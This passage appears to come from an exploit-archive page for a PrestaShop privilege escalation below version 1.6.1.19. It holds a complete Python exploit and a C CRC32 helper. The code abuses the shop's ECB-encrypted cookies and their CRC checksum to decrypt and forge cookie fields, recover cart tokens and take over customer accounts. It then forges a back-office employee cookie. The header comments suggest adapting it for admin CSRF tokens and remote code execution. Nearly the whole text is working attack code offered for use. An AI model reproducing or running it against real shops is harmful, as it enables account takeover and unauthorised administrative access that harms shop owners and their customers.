employee to have the same # password as a customer. The exploit will yield a valid employee cookie for # back office access. # # With a bit of tweaking, one can modify the exploit to access any customer # account, get access to statistics, coupons, etc. or get an admin CSRF token. # # The attack may fail for a variety of reasons, including me messing up the # padding somewhere. You might need to run the exploit several times. # # POSSIBLE IMPROVEMENTS # - Improve the employee detection method # - Implement the RCE step # # gcc -o crc_xor crc_xor.c # vi exploit.py # ./exploit.py import requests import urllib.parse import binascii import string import itertools import sys import os import re # EDIT THIS BASE_URL = 'http://vmweb3.corp.lexfo.fr/prestashop' ADMIN_URL = 'http://vmweb3.corp.lexfo.fr/prestashop/admin2904aqvyb' CUSTOMER_EMAIL = 'user@user.io' CUSTOMER_PASSWORD = 'password2' # Helpers def http_session(): """Every HTTP session will be spawned from this function. You can add a proxy or custom rules. """ s = requests.Session() #s.proxies = {'http': 'localhost:8080'} return s def bl(string): """¤ is 2 bytes long, which forces us to encode strings before using len(). """ return len(string.encode()) def cs(blocks, offset=0): """Computes the full size of the cookie and returns it as a last 6-digit block. """ if offset > 0: offset -= SIZE_BLOCK return [ '%06d' % (len(blocks) * SIZE_BLOCK + offset) ] def xor(a, b): """XORs two strings and returns the result as bytes. """ return bytes(x ^ y for x, y in zip(a.encode(), b.encode())) def pb(n, z=False): """Returns the padding required to align n with SIZE_BLOCK, and its position in blocks. The z flag indicates if padding can be zero. """ padding = (- n) % SIZE_BLOCK if z and padding == 0: padding = SIZE_BLOCK block = (n + padding) // SIZE_BLOCK return padding, block crc32 = binascii.crc32 SIZE_BLOCK = 8 BASE_BYTE = '`' SIZE_LASTNAME_TO_FIRSTNAME = bl( '¤customer_firstname|' ) SIZE_FIRSTNAME_TO_PASSWD = bl( '¤logged|1¤is_guest|¤passwd|' ) SIZE_FIRSTNAME_TO_EMAIL = SIZE_FIRSTNAME_TO_PASSWD + bl( '86df199881eaf8e9bb158c4f6b71ca0a¤email|' ) # Variable: it is properly set in PrestaShop.find_alignment SIZE_EMAIL_TO_END = bl( '¤id_cart|12345¤id_guest|6¤' ) ZERO_BLOCK = b'\x00' * SIZE_BLOCK FIRSTNAME = BASE_BYTE * 32 CHARSET_LASTNAME = string.ascii_letters EMAIL_DOMAIN = '@test.fr' MAX_ID_CUSTOMER = 100 MAX_ID_EMPLOYEE = 100 # Exploit classes class Exploitation: """Exploitation class. Handles the flow of the attack. The main process is the following: 1. X = read(cart_id) 2. Change password to recover_cart_X 3. read(password) -> we have a token to recover the cart, and therefore the customer password 4. write(id_employee, Z) 5. write(id_customer, Y) -> customer Y associated with cart_id X 6. Do the "Recover cart" procedure with the token 7. Access backoffice. If employee's Z password is the same as customer Y, then we obtain backoffice access """ def __init__(self, session, email, password): self.s = http_session() self.ps = PrestaShop(session, email, password) Cookie.ps = self.ps def prelude(self): self.ps.login() self.ps.find_alignment() self.ps.get_encrypted_numbers() self.ps.build_cookies() def run(self): """Runs the exploit. """ self.prelude() id_cart = self.read_id_cart() token = self.read_cart_token(id_cart) self.get_employee_cookie_name() self.get_write_blocks() self.get_nb_employees() for target_customer in range(1, MAX_ID_CUSTOMER): if not self.associate_id_customer(target_customer): break for target_employee in range(1, self.nb_employees+1): print("Trying customer[%d] employee[%d]" % ( target_customer, target_employee )) cookie = self.write_id_employee(target_employee) cookie = self.recover_cart(id_cart, token, cookie) if cookie: print('Success !!!') print('Backoffice cookie:') print('%s=%s' % (self.employee_cookie_name, cookie)) return print('No employee has the same password as a customer') def get_employee_cookie_name(self): """Obtains the name of the cookie for the backoffice. """ self.s.get(ADMIN_URL + '/index.php') for c, v in self.s.cookies.items(): if c.startswith('PrestaShop-'): self.employee_cookie_name = c break else: raise ValueError('Unable to find customer cookie') print('Employee cookie name: %s' % self.employee_cookie_name) def get_nb_employees(self): """Obtains the number of employees by requesting pdf.php with a spoofed id_employee cookie and iterating. It breaks after the first failure, so there might be cases where it fails to detect every employee. """ ecn = self.employee_cookie_name for i in range(1, MAX_ID_EMPLOYEE): cookie = self.write_id_employee(i) self.s.cookies.clear() self.s.cookies[ecn] = str(cookie) r = self.s.get(ADMIN_URL + '/pdf.php', allow_redirects=False) if r.status_code != 200: break self.s.cookies.clear() self.nb_employees = i - 1 print('There are at least %d employees' % self.nb_employees) def recover_cart(self, id_cart, token, cookie): """Performs the recover cart action with a cookie containing id_employee so that the returned cookie contains a password hash and an employee ID. This cookie can then be sent to the admin interface to verify it works. """ s = self.s s.cookies.clear() s.cookies[cookie.name] = str(cookie) r = s.post( BASE_URL + '/index.php', data={ 'token_cart': token, 'recover_cart': '%d' % id_cart }, allow_redirects=False ) s.cookies.clear() s.cookies[self.employee_cookie_name] = r.cookies[cookie.name] r = s.get( ADMIN_URL + '/index.php?controller=AdminDashboard', allow_redirects=False ) if 'AdminLogin' not in r.headers.get('Location', ''): return r.cookies[self.employee_cookie_name] return None def get_write_blocks(self): """Gets encrypted blocks for ¤id_employee and ¤id_customer. """ blocks = {} # ...¤id_ cookie, block = self.pad_lastname( SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL + bl(self.ps.email) + bl('¤id_') ) blocks['¤id_'] = cookie.blocks[block-1] # customer and employee cookie = self.ps.set_identity( lastname=BASE_BYTE * self.ps.i + 'customeremployee' ) blocks['customer'] = cookie.blocks[self.ps.p] blocks['employee'] = cookie.blocks[self.ps.p + 1] self.blocks = blocks def get_pipe_number(self, n): """Get the encrypted block for |000000N. """ self.ps.set_identity( email=('%07d' + EMAIL_DOMAIN) % n ) cookie, block = self.pad_lastname( SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL - 1 ) return cookie.blocks[block] def write_id_person(self, person, id): """Writes the given employee/customer ID in the cookie. """ plaintext = self.ps.email[-3:] + '¤id_%s|%07d' % (person, id) blocks = [ self.blocks['¤id_'], self.blocks[person], self.get_pipe_number(id) ] return self.ps.writable_cookie.write(plaintext, blocks) def write_id_customer(self, id): """Writes id_customer for the given ID. """ return self.write_id_person('customer', id) def write_id_employee(self, id): """Writes id_employee for the given ID. """ return self.write_id_person('employee', id) def associate_id_customer(self, id): """Writes id_customer in our cookie in order to associate it to our cart ID. """ s = self.s # Write id_customer|X cookie = self.write_id_customer(id) s.cookies.clear() s.cookies[cookie.name] = str(cookie) # Associate the customer with the cart r = s.get( BASE_URL + '/index.php?controller=identity', allow_redirects=False ) matches = re.findall( 'id="(firstname|lastname|email)"[^>]+value="(.*?)"', r.text ) if not matches: return False matches = {k: v for k, v in matches} print( 'Got customer account: {lastname} {firstname} [{email}]'.format( **matches ) ) return True def read_id_cart(self): """Get id_cart's value by padding the cookie and reading the block. """ cookie, block = self.pad_lastname( SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL + bl(self.ps.email) + bl('¤id_cart|') ) # Since the cart ID usually fits in one block, we need to bruteforce its # size by changing the size of the cookie (last block contains size of # cookie) id_cart = None for i in range(1, 10): rcookie = self.ps.readable_cookie.extend( [cookie.blocks[block]], offset=i ) try: id_cart = rcookie.read() except ValueError: break if not id_cart: raise ValueError('Unable to read id_cart') # ¤ is two bytes long, so the last character of the obtained id_cart # will be \xc2, which we need to remove id_cart = int(id_cart[:-1]) print('Cart ID: %d' % id_cart) # The last try broke our cookie, and we're therefore logged out self.ps.login() return id_cart def read_cart_token(self, id_cart): """Set password to recover_cart_X and read it. """ self.ps.set_identity( passwd='recover_cart_%d' % id_cart ) cookie, block = self.pad_lastname( SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_PASSWD ) rcookie = self.ps.readable_cookie.extend(cookie.blocks[block:block+4]) token = rcookie.read().decode() print('Recover Cart token: %s' % token) return token def pad_lastname(self, offset): """Get a cookie where the value we want to read, which is offset bytes away from the last character of the lastname, is aligned with SIZE_BLOCK and therefore at the beginning of a block. """ padding, block = pb(bl(FIRSTNAME) + offset) cookie = self.ps.set_identity( lastname=BASE_BYTE * (self.ps.i + padding) ) block += self.ps.p return cookie, block class CRCPredictor: """Implements the resolution of the CRC system of equation. It works by iterating on a set of possible values. For instance, let's say we obtained 3 as the last digit for cookie A. The only possible CRCs at this point are the ones whose last digit is 3. So, we store them. The CRCs for the next cookie, B, must necessarily validate the equation: CRC(B) = CRC(A) ^ CRC(A ^ B) ^ C (C is constant). Therefore, we can update our stored checksums by xoring them with CRC(A ^ B) ^ C. The stored checksums are now the candidates for B. Now, let's say we obtain 5 as the last digit for B. We can throw away any candidate which does not end with 5. By repeating this, we will reach a valid checksum fairly quickly. """ ORDER = 10 def __init__(self, zeros, payload_size): self.payloads = [] self.digits = None self.candidates = None self.zeros = b"\x00" * zeros self.zero_crc = crc32(b"\x00" * (payload_size + zeros)) def purge_candidates(self, digits): """Removes candidates that do not end with given digits, and candidates with less than 10 digits. """ ORDER = self.ORDER candidates = self.candidates if candidates is not None: candidates = [ c for c in candidates if c % ORDER == digits ] # The very first set of candidates (before the first char) is the # entirety of [0, 2**32-1], which is way too big, so we only compute # candidates after the two first digits have been set. elif self.digits is None: self.digits = digits else: print("Generating first solution range (takes some time) ...") d = self.delta(self.payloads[-2], self.payloads[-1]) candidates = [ i ^ d for i in range(10 ** 9 + self.digits, 0x100000000, ORDER) if (i ^ d) % ORDER == digits ] self.candidates = candidates def has_solution(self): """Returns true if the system has been solved. """ return self.candidates is not None and len(self.candidates) <= 1 def solution(self): """Returns the solution. """ return self.candidates[0] def delta(self, p0, p1): """Computes CRC(A ^ B) ^ C. """ d = xor(p0, p1) return crc32(d + self.zeros) ^ self.zero_crc def update_candidates(self, payload): """Updates every candidate CRC for next payload by xoring them with CRC(A ^ B) ^ C. """ ORDER = self.ORDER self.payloads.append(payload) if self.candidates is None: return set(range(ORDER)) delta = self.delta(self.payloads[-2], self.payloads[-1]) self.candidates = [ crc ^ delta for crc in self.candidates ] # Only keep 10-digit values as other values are not used self.candidates = [ c for c in self.candidates if c >= 1000000000 ] if not self.candidates: raise ValueError('Checksum equations have no solution !') # Return possible last digits for the new char return set(c % ORDER for c in self.candidates) class PrestaShop: """Contains several helpers for the interaction with the PrestaShop website and cookie manipulation. Responsible for the read and write exploit primitives. """ def __init__(self, session, email, password): self.s = session self.email = email self.original_email = self.email self.password = password self.original_password = self.password def post(self, url, **kwargs): headers = kwargs.get('headers', {}) headers['Referer'] = url return self.s.post(BASE_URL + url, **kwargs) def cookie(self): """Extracts the cookie from the requests session. """ for c, v in self.s.cookies.items(): if c.startswith('PrestaShop-'): return Cookie(c, v) raise ValueError('Unable to find customer cookie') def login(self): """Logs into PrestaShop using email/password. """ self.s.cookies.clear() r = self.post( '/index.php?controller=authentication', data={ 'email': self.email, 'passwd': self.password, 'back': 'identity', 'SubmitLogin': '' }, allow_redirects=False ) if not r.headers.get('Location', '').endswith('controller=identity'): raise ValueError('Invalid credentials') return self.cookie() def set_identity(self, **data): """Changes the identity of the current user. This generally involves changing firstname, lastname, and email. """ assert all(v != '' for v in data.values()), ( "Data contains an empty value" ) if 'email' in data: self.email = data['email'] if 'passwd' in data: data['confirmation'] = data['passwd'] defaults = { 'id_gender': '1', 'firstname': FIRSTNAME, 'lastname': 'User', 'email': self.email, 'days': '1', 'months': '1', 'years': '1990', 'old_passwd': self.password, 'passwd': '', 'confirmation': '', 'submitIdentity': '' } defaults.update(data) r = self.post( '/index.php?controller=identity', data=defaults ) if 'passwd' in data: self.password = data['passwd'] # If we changed the email or the password, we need to login again if 'email' in data: return self.login() return self.cookie() def find_alignment(self): """Obtains the position of the first repeated block of customer_lastname along with its offset from the start of the string. Also, computes SIZE_EMAIL_TO_END. Example: ...customer_lastname|BBAAAAAAAAAAAAAAAA... ...----++++++++--------++++++++--------... ^^ Offset = 2 ^ Position of the first repeated block """ cookie = self.set_identity( lastname='A' * SIZE_BLOCK * 4 ) #print(setup_cookie) last = None for p, block in enumerate(cookie.blocks): if block == last: break last = block else: raise ValueError('Unable to find identical blocks') p = p - 1 print('First identical block:', p, block) # Pad with Bs until the first block is modified to obtain alignment for i in range(1, SIZE_BLOCK): cookie = self.set_identity( lastname=('B' * i) + ('A' * (SIZE_BLOCK * 4 - i)) ) if cookie.blocks[p] != block: break else: raise ValueError('Unable to pad blocks') i = i - 1 print('Offset from "customer_lastname|":', i) self.p = p self.i = i # We also need to setup this length dynamically global SIZE_EMAIL_TO_END # Fix the id_connection problem self.login() # Grab 10 slightly different cookies, and get the longest one max_size = max( self.set_identity(lastname=c * 8).size() for c in 'ABCDEFGHIJ' ) SIZE_EMAIL_TO_END = ( max_size - ( self.p * SIZE_BLOCK - self.i + 8 + SIZE_LASTNAME_TO_FIRSTNAME + bl(FIRSTNAME) + SIZE_FIRSTNAME_TO_EMAIL + bl(self.original_email) + bl('checksum|') + 10 ) ) print('Size from "email|" to end: %d' % SIZE_EMAIL_TO_END) def get_encrypted_blocks(self, blocks): """Uses the email address to get a bunch of encrypted blocks. """ # Align the first character of the email with a block so that we obtain # 15 blocks per try # SIZE_CUSTOMER_LASTNAME_KEY_TO_EMAIL = distance = - self.i + bl( '¤customer_firstname|' + FIRSTNAME ) + SIZE_FIRSTNAME_TO_EMAIL alignment, first_block = pb(distance) first_block += self.p cookie = self.set_identity( lastname='A' * alignment, email=''.join(blocks) + EMAIL_DOMAIN ) return cookie.blocks[first_block:first_block+len(blocks)] def get_encrypted_numbers(self, size=1): """Builds blocks starting with numbers and cipher them. """ encrypted_numbers = [] # 15 blocks can be ciphered at once: # |email| = 128, |domain| = 8 # |email| - |domain| = 120 # 120 / SIZE_BLOCK = 15 step = 15 for i in range(0, 10 ** size, step): # Convert the each of number into a block: # 3 -> 03xxxxxx numbers = [ str(i+n).rjust(size, '0').ljust(SIZE_BLOCK, 'x') for n in range(step) ] encrypted_numbers += self.get_encrypted_blocks(numbers) self.reset() self.encrypted_numbers = encrypted_numbers[:10 ** size] def discover_crc(self): """By correctly padding the cookie, we can force the last digit of the CRC to be in the last block, on its own. From this, and by using the email field to translate, we can guess what this digit is by replacing the last block by 0xxxxxx, 1xxxxxx, 2xxxxxx, etc. until the cookie is accepted. Then, we can slightly change the cookie's content, and obtain the last digits for the new checksum. Due to the fact that CRC is affine, we can build an equation on the last two digits of these checksums. By repeating the operation, we get a set of equations, and solving it reveals the value of the checksum. Returns a magic cookie and its checksum. """ print('Discovering CRC checksum...') lo_digits = 1 nb_requests = 0 encrypted_numbers = self.encrypted_numbers # We only work with 10-digit checksums, and the probability of not # getting any 10-digit checksum over 10 requests is equal to 4.68e-07, # so we'll iterate 10 times and keep the longest cookie max_size = 0 cookie_base = None for i in range(10): cookie_base = self.set_identity( lastname=CHARSET_LASTNAME[i] * SIZE_BLOCK ) if max_size < cookie_base.size(): max_size = cookie_base.size() # Checksum alignment: build a cookie such that the last block contains # lo_digits digits alignment_checksum = ((lo_digits - max_size) % SIZE_BLOCK) + SIZE_BLOCK s = http_session() payload_size = 2 zeros = ( SIZE_LASTNAME_TO_FIRSTNAME + bl(FIRSTNAME) + SIZE_FIRSTNAME_TO_EMAIL + bl(self.original_email) + SIZE_EMAIL_TO_END ) lastname = None predictor = CRCPredictor(zeros, payload_size) cache = {} # On each iteration, we replace some chars and keep the same length, # so that the affine property of CRC stays valid. # We then update our candidates using CRCPredictor, until one value's # left. for payload in itertools.product(CHARSET_LASTNAME, repeat=payload_size): payload = ''.join(payload) lastname = 'A' * (alignment_checksum - payload_size) + payload cookie = self.set_identity( lastname=lastname ) nb_requests += 1 # Only use 10-digit cookies if cookie.size() % SIZE_BLOCK != lo_digits: continue candidates = predictor.update_candidates(payload) # No point verifying if we have only one possibility, skip if len(candidates) == 1: predictor.purge_candidates(list(candidates)[0]) if predictor.has_solution(): break continue # If the single-digit block has already been seen, we can map it # immediately original_block = cookie.blocks[-2] if original_block in cache: n = cache[original_block] print('%s %d %s !' % (payload, n, original_block)) predictor.purge_candidates(n) continue #print(cookie) #print(candidates) # Bruteforce the last digit of the checksum by replacing the last # block by an encrypted number until it works for n in candidates: cookie.blocks[-2] = encrypted_numbers[n] print('%s %d %s' % (payload, n, cookie.blocks[-2]), end='\r') response = s.head( BASE_URL + '/index.php?controller=identity', headers={'Cookie': '%s=%s' % (cookie.name, cookie)} ) nb_requests += 1 location = response.headers.get('Location', '') if 'controller=authentication' not in location: print('') break else: # This should not happen raise ValueError( 'Unable to guess digits for payload %r' % payload ) cache[original_block] = n predictor.purge_candidates(n) cookie.blocks[-2] = original_block if predictor.has_solution(): break else: # This should not happen raise ValueError('Unable to compute checksum value') checksum = predictor.solution() print('Checksum discovered: %s (%d requests)' % (checksum, nb_requests)) return cookie, checksum def build_cookies(self): self.build_writable_cookie() self.build_readable_cookie() def build_writable_cookie(self): """Builds the first extendable cookie. It involves finding out the checksum value, and building the standard ending blocks. """ cookie, checksum = self.discover_crc() # ¤ custom block_o = self.set_identity( lastname='A' * (self.i + SIZE_BLOCK) ).blocks[self.p + 1] # AAAAA¤ c block_c = self.set_identity( lastname='A' * (self.i + 5) ).blocks[self.p] # hecksum| offset = ( SIZE_LASTNAME_TO_FIRSTNAME + bl(FIRSTNAME) + SIZE_FIRSTNAME_TO_EMAIL + bl(self.email) + SIZE_EMAIL_TO_END + bl('checksum|') ) offset, _ = pb(offset) block_s = self.set_identity( lastname='A' * (self.i + offset) ).blocks[-4] WritableCookie.blocks_checksum = [ block_o, block_c, block_s ] self.writable_cookie = WritableCookie( cookie.name, cookie.blocks, checksum ) print('Generated extendable cookie.') def build_readable_cookie(self): """To read arbitrary blocks we need to integrate the checksum and add customer_firstname|... at the end. """ p = self.p i = self.i # AAA¤ customer_firstname|```````` # ++++++++--------++++++++-------- c0 = self.set_identity( lastname='A' * (i + 3) ) cookie = self.writable_cookie self.readable_cookie = cookie.eat_checksum(3, c0.blocks[p:p+4]) print('Generated read cookie.') def reset(self): return self.set_identity( email=self.original_email, passwd=self.original_password ) class Cookie: """Standard Prestashop cookie class. Splits the cookie into blocks. """ def __init__(self, name, value): self.name = name if isinstance(value, str): self.check_consistent(value) self.blocks = urllib.parse.unquote(value).split('=') else: self.blocks = value def check_consistent(self, value): """Checks if the given string is a valid ECB cookie. """ value = urllib.parse.unquote(value) if not re.match('([0-9A-Za-z/+]{11}=)*[0-9]{6}', value): raise ValueError('Invalid cookie') def clone(self): return self.__class__(self.name, str(self)) def size(self): """Last block is the size of the whole payload. """ return int(self.blocks[-1]) def __str__(self): return '='.join(self.blocks).replace('+', '%2B') class WritableCookie(Cookie): """Cookie with known checksum. It can be extended by adding encrypted blocks with a known plaintext, and recomputing the checksum. """ blocks_checksum = None def __init__(self, name, blocks, checksum): super().__init__(name, blocks) self.checksum = checksum def write(self, plaintext, blocks): """Adds blocks to current cookie, recomputes the checksum, and returns the new cookie. """ assert bl(plaintext) == len(blocks) * SIZE_BLOCK, ( "Plaintext's size does not match blocks'" ) # Compute the new checksum and get its encrypted blocks plaintext = ( 'ch' + plaintext + '¤custom' + 'AAAAA¤' ) checksum = crc32(plaintext.encode(), self.checksum) encrypted_checksum = self.ps.get_encrypted_blocks([ '%08d' % (checksum // 100), '%02dxxxxxx' % (checksum % 100) ]) self.ps.reset() # PLAINTEXT ORIGIN # ¤ custom customer_firstname } # AAAAA¤ c customer_firstname } blocks_checksum # hecksum| discover } # 12345678 email # 90xxxxxx email blocks = ( self.blocks[:-4] + blocks + self.blocks_checksum + encrypted_checksum ) blocks += cs(blocks, 2) return WritableCookie(self.name, blocks, checksum) def eat_checksum(self, rotations, read_blocks): """Adds a correction block to the cookie so that the checksum stays the same, and the last key/value pair is freed. End represents the plaintext that is meant to be added after the correction block. Initial cookie end: ¤checksum|1234567890 New cookie end: ¤checksum|1234567890 ABCDEFGH Where ABCDEFGH is the correction block. New cookie end with added KVP: ¤checksum|1234567890 ABCDEFGH¤customer_lastname|ABC... This allows to add another key/value pair, which won't be included in the checksum computation, at the end of the cookie. This pair can be anything and therefore include blocks with unknown plaintext. """ # Add a correction block such that the CRC of the cookie does not change # Note: the last block is supposed to be padded with spaces, but the # code is broken. It will add 1 space instead of 7 in our case, the # rest will be null bytes. added = 'checksum|%010d \x00\x00\x00\x00\x00\x00' % self.checksum current_checksum = crc32(added.encode(), self.checksum) # Goal: crc32(correction_block, current_checksum) == self.checksum os.system('./crc_xor %u %u %u' % ( current_checksum, self.checksum, rotations )) with open('./crc_xor_result', 'r') as h: correction_block = h.read() print('Got correction block: %s' % correction_block) c = self.ps.set_identity( lastname='A' * self.ps.i + correction_block ) blocks = self.blocks[:-1] + [c.blocks[self.ps.p]] + read_blocks blocks += cs(blocks) return ReadableCookie(self.name, blocks) class ReadableCookie(Cookie): """Cookie which ate its checksum. The last value can contain anything. It can be used to decipher arbitrary data: >>> rc.extend(['SUsidYDY']).read() 'hello123' """ def __init__(self, name, value): super().__init__(name, value) self.response = None def extend(self, blocks, offset=0): blocks = self.blocks[:-1] + blocks blocks += cs(blocks, offset) return self.__class__(self.name, blocks) def request(self): if not self.response: s = http_session() response = s.get( BASE_URL + '/index.php?mobile_theme_ok=1', headers={ 'Cookie': '%s=%s' % (self.name, self) } ) self.response = response return self.response def read(self): response = self.request() match = re.search(b'>````````(.*?) A+..<', response.content, flags=re.S) if not match: raise ValueError('Unable to find firstname/lastname in page') return match.group(1) s = http_session() exploit = Exploitation( s, CUSTOMER_EMAIL, CUSTOMER_PASSWORD ) try: exploit.run() except Exception as e: raise e finally: exploit.ps.reset() </--- exploit.py ---> <--- crc_xor.c ---> /* gcc -O3 -o crc_xor crc_xor.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define MIN_VALUE 65 #define MAX_VALUE 122 #define SIZE_CORRECTION_BLOCK 8 #define OUTPUT_FILE_FORMAT "./%s_result" /* generated using the AUTODIN II polynomial * x^32 + x^26 + x^23 + x^22 + x^16 + * x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1 */ char filename[32]; static const uint crc32tab[256] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d, }; void display(char* str, char end) { printf("%s%c", str, end); fflush(stdout); } /** * Write the content of correction to a file and exit. */ void write_exit(char* correction, size_t s) { display(correction, '\n'); FILE* f = fopen(filename, "w"); fwrite(correction, s, 1, f); fclose(f); } int main(int argc, char* argv[]) { uint const crcinit = strtoul(argv[1], NULL, 10) ^ 0xFFFFFFFF; uint const goal = strtoul(argv[2], NULL, 10) ^ 0xFFFFFFFF; uint const r = strtoul(argv[3], NULL, 10); uint crc; unsigned char correction[SIZE_CORRECTION_BLOCK+1]; uint crcs[SIZE_CORRECTION_BLOCK]; // Setup filename snprintf(filename, 32, OUTPUT_FILE_FORMAT, argv[0]); // Set every byte to the minimum value memset(correction, MIN_VALUE, SIZE_CORRECTION_BLOCK); correction[SIZE_CORRECTION_BLOCK] = '\0'; register uint i; printf("crcinit=%u goal=%u rotations=%u\n", crcinit, goal, r); // Build original CRCs crcs[0] = ((crcinit >> 8) & 0x00FFFFFF) ^ crc32tab[(crcinit ^ correction[i]) & 0xFF]; for(i=1;i<SIZE_CORRECTION_BLOCK;i++) { crcs[i] = ((crcs[i-1] >> 8) & 0x00FFFFFF) ^ crc32tab[(crcs[i-1] ^ correction[i]) & 0xFF]; } display(correction, '\r'); while(1) { // Compare crc = crcs[SIZE_CORRECTION_BLOCK-1]; // A, r times for(i=r;i--;) { crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ 'A') & 0xFF]; } // ¤ == 0xc2a4 crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ '\xc2') & 0xFF]; crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ '\xa4') & 0xFF]; if(crc == goal) { write_exit(correction, SIZE_CORRECTION_BLOCK); return 0; } // Update correction block i = SIZE_CORRECTION_BLOCK; while(i--) { correction[i]++; if(correction[i] == 91) correction[i] = 97; if(correction[i] != MAX_VALUE) break; correction[i] = MIN_VALUE; } if(i <= SIZE_CORRECTION_BLOCK - 4) display(correction, '\r'); // If we reached the first byte, crc[-1] does not exist if(!i) crcs[i++] = ((crcinit >> 8) & 0x00FFFFFF) ^ crc32tab[(crcinit ^ correction[i]) & 0xFF]; // Only the last i chars were changed, no need to update the others CRCs for(;i<SIZE_CORRECTION_BLOCK;i++) { crcs[i] = ((crcs[i-1] >> 8) & 0x00FFFFFF) ^ crc32tab[(crcs[i-1] ^ correction[i]) & 0xFF]; } } return 1; } </--- crc_xor.c --->
Prestashop < 1.6.1.19 blowfish ecd privilege escalation Vulnerability / Exploit Source : Prestashop < 1.6.1.19 blowfish ecd privilege escalation
Last Vulnerability or Exploits
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